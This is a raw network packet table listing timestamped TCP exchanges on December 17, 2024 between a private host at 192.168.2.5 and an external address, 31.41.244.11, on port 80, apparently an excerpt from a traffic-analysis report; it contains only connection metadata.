Dec 17, 2024 08:03:30.383560896 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.383667946 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.383718014 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.384403944 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.384454012 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.384512901 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.384566069 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.385364056 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.385412931 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.385479927 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.385529041 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.386244059 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.386293888 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.386377096 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.386425018 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.387146950 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.387197018 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.387262106 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.387305021 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.388113022 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.388161898 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.388164997 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.388212919 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.389014959 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.389065981 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.389133930 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.389183044 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.389910936 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.389960051 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.390027046 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.390084982 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.390883923 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.390935898 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.391078949 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.391128063 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.391904116 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.391958952 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.391958952 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.392005920 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.392648935 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.392699003 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.392833948 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.392882109 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.393910885 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.393970013 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.394036055 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.394083977 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.394539118 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.394592047 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.394675016 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.394725084 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.395476103 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.395530939 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.395652056 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.395708084 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.396440983 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.396498919 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.396573067 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.396629095 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.397248030 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.397305965 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.397367954 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.397422075 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.398175955 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.398238897 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.398369074 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.398432016 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.399059057 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.399135113 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.399192095 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.399240971 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.399981976 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.400031090 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.400099039 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.400146961 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.400901079 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.400954008 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.401019096 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.401065111 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.401797056 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.401848078 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.401932955 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.401984930 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.402736902 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.402789116 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.402825117 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.402877092 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.403855085 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.403913975 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.404001951 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.404052973 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.404767990 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.404819965 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.404820919 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.404870033 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.405462980 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.405520916 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.405605078 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.405653954 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.406399012 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.406461954 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.406527042 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.406578064 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.407305002 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.407367945 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.407428026 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.407479048 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.408263922 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.408318043 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.408400059 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.408443928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.409204006 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.409262896 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.409316063 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.409363985 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.410069942 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.410125971 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.410170078 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.410221100 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.411026001 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.411087990 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.411174059 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.411228895 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.411887884 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.411947966 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.411998987 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.412048101 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.412800074 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.412854910 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.412914991 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.412966013 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.413719893 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.413779020 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.413845062 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.413888931 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.414650917 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.414712906 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.414746046 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.414793015 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.415563107 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.415625095 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.415677071 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.415729046 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.416583061 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.416620016 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.416676044 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.416692972 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.417454958 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.417517900 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.417557955 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.417604923 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.418370008 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.418423891 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.418438911 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.418488026 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.419275045 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.419332981 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.419421911 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.419472933 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.420161009 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.420211077 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.420301914 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.420346975 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.421135902 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.421196938 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.421209097 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.421262980 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.421966076 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.422063112 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.422137976 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.422184944 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.422966003 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.423026085 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.423088074 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.423137903 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.423811913 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.423863888 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.423868895 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.423918962 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.568617105 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.568742990 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.568866968 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.569020033 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.569103956 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.569175005 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.569921970 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.569988012 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.570067883 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.570801020 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.570864916 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.571130037 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.571353912 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.571413994 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.572040081 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.572094917 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.572168112 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.572578907 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.572941065 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.572997093 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.573071003 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.573124886 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.573884010 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.573966026 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.574003935 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.574058056 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.574780941 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.574832916 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.574938059 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.574984074 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.575707912 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.575757027 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.575828075 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.576580048 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.576627016 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.576670885 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.576750994 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.576802015 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.577542067 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.577590942 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.577677965 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.577727079 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.578469992 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.578507900 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.578522921 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.578555107 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.579379082 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.579426050 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.579503059 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.579549074 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.580319881 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.580368042 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.580449104 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.580493927 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.581226110 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.581384897 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.581440926 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.582113028 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.582220078 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.582271099 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.583031893 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.583077908 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.583168983 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.584012985 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.584057093 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.584060907 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.584579945 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.584948063 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.585114002 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.585160017 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.585756063 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.585879087 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.585932970 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.586673975 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.586723089 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.586791992 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.587620974 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.587666988 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.587739944 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.588546991 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.588582039 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.588598013 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.588650942 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.589452982 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.589503050 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.589557886 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.590363979 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.590414047 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.590497971 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.591329098 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.591377974 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.591469049 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.591521025 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.592272043 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.592325926 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.592385054 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.593137980 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.593278885 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.593333006 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.594027042 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.594079971 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.594083071 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.594993114 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.595055103 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.595115900 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.595848083 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.595909119 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.595982075 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.596035004 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.596775055 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.596887112 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.596945047 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.597677946 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.597791910 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.597843885 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.598584890 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.598697901 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.598752022 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.599500895 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.599555969 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.599608898 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.600439072 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.600493908 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.600554943 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.601344109 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.601401091 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.601475000 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.601530075 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.602241993 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.602369070 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.602421045 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.603164911 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.603264093 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.603328943 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.604078054 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.604135036 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.604170084 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.604588032 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.605047941 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.605106115 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.605165958 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.605227947 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.605911016 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.605963945 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.606010914 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.606067896 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.606834888 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.606981039 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.607036114 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.607736111 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.607853889 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.607908010 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.608684063 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.608784914 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.608836889 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.609574080 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.609636068 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.609705925 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.610528946 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.610600948 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.610650063 CET	80	49867	31.41.244.11	192.168.2.5
